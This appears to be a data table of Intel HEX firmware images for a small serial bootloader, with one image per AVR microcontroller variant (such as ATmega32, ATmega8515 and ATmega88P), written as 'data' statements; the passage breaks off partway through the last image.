data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E950240C03EFF03AAAAC4"
data ":00000001FF"
data "m32c1"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF08E00EBF04B703FD16C0D6"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E958640C03EFF03AAAA40"
data ":00000001FF"
data "m32"
data ":020000020000FC"
data ":107E0000F8940FE50DBF08E00EBF04B703FD16C0E0"
data ":107E1000B99AB898C09AC19A1196F1F7B09B0EC062"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000B09B07C01A95D1F72A95C1F7A6D00C942C"
data ":107E40000000AA27BB2705E0B09BFECFB099FECF6C"
data ":107E50001196B09BFDCF0A95C9F73D01C0D0259181"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8EEBBFFBBE09A0DB347D050"
data ":107F300031963A95C1F7F4CF08950DBBEEBBFFBB68"
data ":107F4000E29AE19AE199FECF3196089507D02EF09A"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E6D0E030E8089514"
data ":107FA000E0E8FDE70895C09AB099FECF18E01CD034"
data ":107FB00016D00695B09900681A95D1F710C00FD069"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7B99AB898C19A02C0B99AC198D301A1"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E950240C03EFF03AAAAC4"
data ":00000001FF"
data "m32hvb"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF08E00EBF04B703FD16C0D6"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E951040C03EFF03AAAAB6"
data ":00000001FF"
data "m32m1"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF08E00EBF04B703FD16C0D6"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E958440C03EFF03AAAA42"
data ":00000001FF"
data "m32u2"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF04E00EBF04B703FD16C0DA"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E958A40C03EFF03AAAA3C"
data ":00000001FF"
data "m32u4"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF0AE00EBF04B703FD16C0D4"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E958740C03EFF03AAAA3F"
data ":00000001FF"
data "m32u6"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF0AE00EBF04B703FD14C0D6"
data ":107E1000219A2098289A299A189B0EC0C0D0329691"
data ":107E20002591283008F428E00A95F1F7189B07C03F"
data ":107E30001A95D1F72A95C1F7A7D00C940000AA276C"
data ":107E4000BB2705E0189BFECF1899FECF1196189B13"
data ":107E5000FDCF0A95C9F73D01C1D025912F3F61F0B3"
data ":107E6000A1D02017D1F30030F9F777D026F075D0E4"
data ":107E700016F081D005C0E0CFEEEEFFE730E10FD085"
data ":107E8000EE27FF2701E29AD08DD034D0F9CF5DD014"
data ":107E90000EF4089584D075D019D081D030E874D014"
data ":107EA00005918CD03A95D9F7089559D02EF0F6DF88"
data ":107EB000E038D9F7FD37C9F7089557D046D02EF0EE"
data ":107EC00005D0FD37D9F7EF37C9F7089564D0099089"
data ":107ED000199001E007BFE89532963250C1F7E0589B"
data ":107EE000F04005E007BFE89507B700FDFDCFE0587B"
data ":107EF000FF4F0895033689F2033449F20636A9F29A"
data ":107F00000634D9F2053659F0053409F095CF1DD065"
data ":107F100096F041D0099110D03A95E1F7F8CF1FD0F3"
data ":107F200056F030E8E1BDF2BDF89A00B547D0319681"
data ":107F30003A95C1F7F4CF089500BDE1BDF2BDFA9ABC"
data ":107F4000F99AF999FECF3196089507D02EF023D0F3"
data ":107F500029D009933A95E1F708950FE32FD022D065"
data ":107F6000E894013209F06894089519D0E058F0407F"
data ":107F700008D0E1F70895F9DF0FEFDEDFF630E9F71B"
data ":107F80000ED003E007BFE89507B700FDFDCF01E184"
data ":107F900007BFE8950895C0E0D1E030E80895E0E833"
data ":107FA000FDE70895289A1899FECF18E01CD016D046"
data ":107FB0000695189900681A95D1F710C00FD00CD00B"
data ":107FC00018E000FD05D000FF07D006951A95C9F707"
data ":107FD000219A2098299A02C0219A2998D301529770"
data ":107FE0000000E8F70895D301B695A795F8CF54534C"
data ":0E7FF00042681CF01E958840C03EFF03AAAAFE"
data ":00000001FF"
data "m406"
data ":020000020000FC"
data ":109E0000F8940FEF0DBF08E00EBF04B703FD16C0B6"
data ":109E1000219A2098289A299A1196F1F7189B0EC03A"
data ":109E2000BFD032962591283008F428E00A95F1F742"
data ":109E3000189B07C01A95D1F72A95C1F7A6D00C94A4"
data ":109E40000000AA27BB2705E0189BFECF1899FECF7C"
data ":109E50001196189BFDCF0A95C9F73D01C0D02591F9"
data ":109E60002F3F59F0A0D02017D1F30030F9F776D06A"
data ":109E70001EF074D00EF080D0E1CFE0EFFFE930E1CA"
data ":109E80000FD0EE27FF2701E29AD08DD034D0F9CF42"
data ":109E90005DD00EF4089584D075D019D081D030E80B"
data ":109EA00074D005918CD03A95D9F7089559D02EF0F9"
data ":109EB000F6DFE038D9F7FD39C9F7089557D046D015"
data ":109EC0002EF005D0FD39D9F7EF37C9F7089564D0E2"
data ":109ED0000990199001E007BFE89532963250C1F71A"
data ":109EE000E058F04005E007BFE89507B700FDFDCF5B"
data ":109EF000E058FF4F0895033689F2033449F20636DD"
data ":109F0000A9F20634D9F2053659F0053409F096CF96"
data ":109F10001DD096F041D0099110D03A95E1F7F8CFD5"
data ":109F20001FD056F030E8E1BDF2BDF89A00B547D039"
data ":109F300031963A95C1F7F4CF089500BDE1BDF2BD69"
data ":109F4000FA9AF99AF999FECF3196089507D02EF032"
data ":109F500023D029D009933A95E1F708950FE32FD044"
data ":109F600022D0E894013209F06894089519D0E0589D"
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data ":10FED0000990199001E007BFE89532963250C1F7BA"
data ":10FEE000E050F14005E007BFE89507B700FDFDCF02"
data ":10FEF000E050FF4F0895033689F2033449F2063685"
data ":10FF0000A9F20634D9F2053659F0053409F096CF36"
data ":10FF10001DD096F041D0099110D03A95E1F7F8CF75"
data ":10FF20001FD056F030E0E1BDF2BDF89A00B547D0E1"
data ":10FF300031963A95C1F7F4CF089500BDE1BDF2BD09"
data ":10FF4000FA9AF99AF999FECF3196089507D02EF0D2"
data ":10FF500023D029D009933A95E1F708950FE32FD0E4"
data ":10FF600022D0E894013209F06894089519D0E05045"
data ":10FF7000F14008D0E1F70895F9DF0FEFDEDFFA3046"
data ":10FF8000E9F70ED003E007BFE89507B700FDFDCF06"
data ":10FF900001E107BFE8950895C0E0D2E030E00895A0"
data ":10FFA000E0E0FDEF0895289A1899FECF18E01CD0E4"
data ":10FFB00016D00695189900681A95D1F710C00FD081"
data ":10FFC0000CD018E000FD05D000FF07D006951A956B"
data ":10FFD000C9F7219A2098299A02C0219A2998D30119"
data ":10FFE00052970000E8F70895D301B695A795F8CF8A"
data ":10FFF0005453427F1CF01EA60280807EFF07AAAAEF"
data ":00000001FF"
data "m8515"
data ":020000020000FC"
data ":101E0000F8940FE50DBF02E00EBF04B703FD16C046"
data ":101E1000B99AB898C09AC19A1196F1F7B09B0EC0C2"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000B09B06C01A95D1F72A95C1F7A5D0E0C08E"
data ":101E4000AA27BB2705E0B09BFECFB099FECF119625"
data ":101E5000B09BFDCF0A95C9F73D01C0D025912F3F1A"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4EEBBFFBBE09A0DB347D03196DC"
data ":101F30003A95C1F7F4CF08950DBBEEBBFFBBE29A13"
data ":101F4000E19AE199FECF3196089507D02EF023D083"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E6D0E030E40895E0EC8E"
data ":101FA000FDE10895C09AB099FECF18E01CD016D07C"
data ":101FB0000695B09900681A95D1F710C00FD00CD0D3"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000B99AB898C19A02C0B99AC198D3015297D8"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930620E00EFF01AAAAFD"
data ":00000001FF"
data "m8535"
data ":020000020000FC"
data ":101E0000F8940FE50DBF02E00EBF04B703FD16C046"
data ":101E1000B99AB898C09AC19A1196F1F7B09B0EC0C2"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000B09B06C01A95D1F72A95C1F7A5D0E0C08E"
data ":101E4000AA27BB2705E0B09BFECFB099FECF119625"
data ":101E5000B09BFDCF0A95C9F73D01C0D025912F3F1A"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4EEBBFFBBE09A0DB347D03196DC"
data ":101F30003A95C1F7F4CF08950DBBEEBBFFBBE29A13"
data ":101F4000E19AE199FECF3196089507D02EF023D083"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E6D0E030E40895E0EC8E"
data ":101FA000FDE10895C09AB099FECF18E01CD016D07C"
data ":101FB0000695B09900681A95D1F710C00FD00CD0D3"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000B99AB898C19A02C0B99AC198D3015297D8"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930820E00EFF01AAAAFB"
data ":00000001FF"
data "m88a"
data ":020000020000FC"
data ":101E0000F8940FEF0DBF04E00EBF04B703FD16C03A"
data ":101E1000219A2098289A299A1196F1F7189B0EC0BA"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000189B06C01A95D1F72A95C1F7A5D0E0C026"
data ":101E4000AA27BB2705E0189BFECF1899FECF119655"
data ":101E5000189BFDCF0A95C9F73D01C0D025912F3FB2"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4E1BDF2BDF89A00B547D03196E5"
data ":101F30003A95C1F7F4CF089500BDE1BDF2BDFA9A1C"
data ":101F4000F99AF999FECF3196089507D02EF023D053"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E0D1E030E40895E0EC93"
data ":101FA000FDE10895289A1899FECF18E01CD016D0AC"
data ":101FB0000695189900681A95D1F710C00FD00CD06B"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000219A2098299A02C0219A2998D3015297D0"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930A20E00EFF01AAAAF9"
data ":00000001FF"
data "m88"
data ":020000020000FC"
data ":101E0000F8940FEF0DBF04E00EBF04B703FD16C03A"
data ":101E1000219A2098289A299A1196F1F7189B0EC0BA"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000189B06C01A95D1F72A95C1F7A5D0E0C026"
data ":101E4000AA27BB2705E0189BFECF1899FECF119655"
data ":101E5000189BFDCF0A95C9F73D01C0D025912F3FB2"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4E1BDF2BDF89A00B547D03196E5"
data ":101F30003A95C1F7F4CF089500BDE1BDF2BDFA9A1C"
data ":101F4000F99AF999FECF3196089507D02EF023D053"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E0D1E030E40895E0EC93"
data ":101FA000FDE10895289A1899FECF18E01CD016D0AC"
data ":101FB0000695189900681A95D1F710C00FD00CD06B"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000219A2098299A02C0219A2998D3015297D0"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930A20E00EFF01AAAAF9"
data ":00000001FF"
data "m88pa"
data ":020000020000FC"
data ":101E0000F8940FEF0DBF04E00EBF04B703FD16C03A"
data ":101E1000219A2098289A299A1196F1F7189B0EC0BA"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000189B06C01A95D1F72A95C1F7A5D0E0C026"
data ":101E4000AA27BB2705E0189BFECF1899FECF119655"
data ":101E5000189BFDCF0A95C9F73D01C0D025912F3FB2"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4E1BDF2BDF89A00B547D03196E5"
data ":101F30003A95C1F7F4CF089500BDE1BDF2BDFA9A1C"
data ":101F4000F99AF999FECF3196089507D02EF023D053"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E0D1E030E40895E0EC93"
data ":101FA000FDE10895289A1899FECF18E01CD016D0AC"
data ":101FB0000695189900681A95D1F710C00FD00CD06B"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000219A2098299A02C0219A2998D3015297D0"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930F20E00EFF01AAAAF4"
data ":00000001FF"
data "m88p"
data ":020000020000FC"
data ":101E0000F8940FEF0DBF04E00EBF04B703FD16C03A"
data ":101E1000219A2098289A299A1196F1F7189B0EC0BA"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000189B06C01A95D1F72A95C1F7A5D0E0C026"
data ":101E4000AA27BB2705E0189BFECF1899FECF119655"
data ":101E5000189BFDCF0A95C9F73D01C0D025912F3FB2"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4E1BDF2BDF89A00B547D03196E5"
data ":101F30003A95C1F7F4CF089500BDE1BDF2BDFA9A1C"
data ":101F4000F99AF999FECF3196089507D02EF023D053"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E0D1E030E40895E0EC93"
data ":101FA000FDE10895289A1899FECF18E01CD016D0AC"
data ":101FB0000695189900681A95D1F710C00FD00CD06B"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000219A2098299A02C0219A2998D3015297D0"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930F20E00EFF01AAAAF4"
data ":00000001FF"
data "m8a"
data ":020000020000FC"
data ":101E0000F8940FE50DBF04E00EBF04B703FD16C044"
data ":101E1000B99AB898C09AC19A1196F1F7B09B0EC0C2"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000B09B06C01A95D1F72A95C1F7A5D0E0C08E"
data ":101E4000AA27BB2705E0B09BFECFB099FECF119625"
data ":101E5000B09BFDCF0A95C9F73D01C0D025912F3F1A"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
